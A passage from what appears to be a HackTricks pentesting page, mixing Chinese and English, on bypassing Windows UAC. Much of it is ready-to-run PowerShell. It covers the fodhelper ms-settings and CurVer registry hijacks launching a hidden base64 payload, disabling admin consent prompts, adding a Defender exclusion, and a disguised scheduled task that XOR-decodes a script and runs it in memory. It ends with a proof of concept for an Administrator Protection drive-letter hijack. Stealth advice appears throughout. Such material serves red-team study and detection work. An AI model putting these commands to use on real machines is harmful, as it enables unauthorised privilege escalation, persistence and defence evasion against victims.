1) Create the vulnerable key and values

New-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Force | Out-Null New-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “DelegateExecute” -Value “” -Force | Out-Null

2) Set default command to your payload (example: reverse shell or cmd)

Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)

Set-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “(default)” -Value “powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>” -Force

3) Trigger auto-elevation

Start-Process -FilePath “C:\Windows\System32\fodhelper.exe”

4) (Recommended) Cleanup

Remove-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open” -Recurse -Force

</details>
注意：
- 当当前用户是 Administrators 成员且 UAC 级别为默认/宽松（不是带有额外限制的 Always Notify）时可用。
- 使用 `sysnative` 路径可在 64 位 Windows 上从 32 位进程启动 64 位 PowerShell。
- Payload 可以是任何命令（PowerShell、cmd 或 EXE 路径）。为保持隐蔽，避免弹出提示 UI。

#### CurVer/extension hijack variant (HKCU only)

最近滥用 `fodhelper.exe` 的样本会避开 `DelegateExecute`，而改为通过每用户的 `CurVer` 值 **重定向 `ms-settings` ProgID**。该自动提升的二进制仍会在 `HKCU` 下解析处理程序，因此无需 admin token 即可写入这些键：
```powershell
# Point ms-settings to a custom extension (.thm) and map that extension to our payload
New-Item -Path "HKCU:\Software\Classes\.thm\Shell\Open" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\.thm\Shell\Open\command" -Name "(default)" -Value "C:\\ProgramData\\rKXujm.exe" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "CurVer" -Value ".thm" -Force

Start-Process "C:\\Windows\\System32\\fodhelper.exe"   # auto-elevates and runs rKXujm.exe

一旦提权，恶意软件通常通过将 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin 设置为 0 来禁用未来的提示，然后执行额外的防御规避（例如，Add-MpPreference -ExclusionPath C:\ProgramData）并重新创建持久性以在高完整性运行。一个典型的持久性任务将在磁盘上存储一个XOR-encrypted PowerShell script，并每小时在内存中解码/执行：

schtasks /create /sc hourly /tn "OneDrive Startup Task" /rl highest /tr "cmd /c powershell -w hidden $d=[IO.File]::ReadAllBytes('C:\ProgramData\VljE\zVJs.ps1');$k=[Text.Encoding]::UTF8.GetBytes('Q');for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$k[$i%$k.Length]};iex ([Text.Encoding]::UTF8.GetString($d))"

This variant still cleans up the dropper and leaves only the staged payloads, making detection rely on monitoring the CurVer hijack, ConsentPromptBehaviorAdmin tampering, Defender exclusion creation, or scheduled tasks that in-memory decrypt PowerShell.

更多 UAC bypass

All the techniques used here to bypass AUC require a full interactive shell with the victim (a common nc.exe shell is not enough).

You can get using a meterpreter session. Migrate to a process that has the Session value equals to 1:

(explorer.exe 应该可行)

使用 GUI 的 UAC Bypass

如果你能访问到 GUI，你可以在出现 UAC 提示时直接接受，实际上不需要绕过它。因此，获得 GUI 访问将允许你绕过 UAC。

此外，如果你获得了某人正在使用的 GUI 会话（可能通过 RDP），有一些工具会以管理员身份运行，你可以从这些工具直接以管理员身份运行一个 cmd，例如不再被 UAC 提示，像 https://github.com/oski02/UAC-GUI-Bypass-appverif。这可能更具 隐蔽性。

噪声大的暴力 UAC bypass

如果你不介意产生噪声，你也可以总是 运行类似 https://github.com/Chainski/ForceAdmin 的工具，它会 不断请求提升权限直到用户接受为止。

Your own bypass - Basic UAC bypass methodology

If you take a look to UACME you will note that most UAC bypasses abuse a Dll Hijacking vulnerability (mainly writing the malicious dll on C:\Windows\System32). Read this to learn how to find a Dll Hijacking vulnerability.

1. Find a binary that will autoelevate (check that when it is executed it runs in a high integrity level).
2. With procmon find “NAME NOT FOUND” events that can be vulnerable to DLL Hijacking.
3. You probably will need to write the DLL inside some protected paths (like C:\Windows\System32) were you don’t have writing permissions. You can bypass this using:
   1. wusa.exe: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
   2. IFileOperation: Windows 10.
4. Prepare a script to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.

另一种 UAC bypass 技术

该方法是监视一个 autoElevated binary 是否尝试从 registry 读取将被 执行 的 binary 或 command 的 name/path（如果该二进制在 HKCU 中查找这些信息则更有趣）。

Administrator Protection (25H2) drive-letter hijack via per-logon-session DOS device map

Windows 11 25H2 “Administrator Protection” uses shadow-admin tokens with per-session \Sessions\0\DosDevices/<LUID> maps. The directory is created lazily by SeGetTokenDeviceMap on first \?? resolution. If the attacker impersonates the shadow-admin token only at SecurityIdentification, the directory is created with the attacker as owner (inherits CREATOR OWNER), allowing drive-letter links that take precedence over \GLOBAL??.

Steps:

1. From a low-privileged session, call RAiProcessRunOnce to spawn a promptless shadow-admin runonce.exe.
2. Duplicate its primary token to an identification token and impersonate it while opening \?? to force creation of \Sessions\0\DosDevices/<LUID> under attacker ownership.
3. Create a C: symlink there pointing to attacker-controlled storage; subsequent filesystem accesses in that session resolve C: to the attacker path, enabling DLL/file hijack without a prompt.

PowerShell PoC (NtObjectManager):

$pid = Invoke-RAiProcessRunOnce
$p = Get-Process -Id $pid
$t = Get-NtToken -Process $p
$id = New-NtTokenDuplicate -Token $t -ImpersonationLevel Identification
Invoke-NtToken $id -ImpersonationLevel Identification { Get-NtDirectory "\??" | Out-Null }
$auth = Get-NtTokenId -Authentication -Token $id
New-NtSymbolicLink "\Sessions\0\DosDevices/$auth/C:" "\??\\C:\\Users\\attacker\\loot"

参考资料

• HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps
• LOLBAS: Fodhelper.exe
• Microsoft Docs – How User Account Control works
• UACME – UAC bypass techniques collection
• Checkpoint Research – KONNI Adopts AI to Generate PowerShell Backdoors
• Project Zero – Windows Administrator Protection drive-letter hijack

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

• 查看 订阅计划!
• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。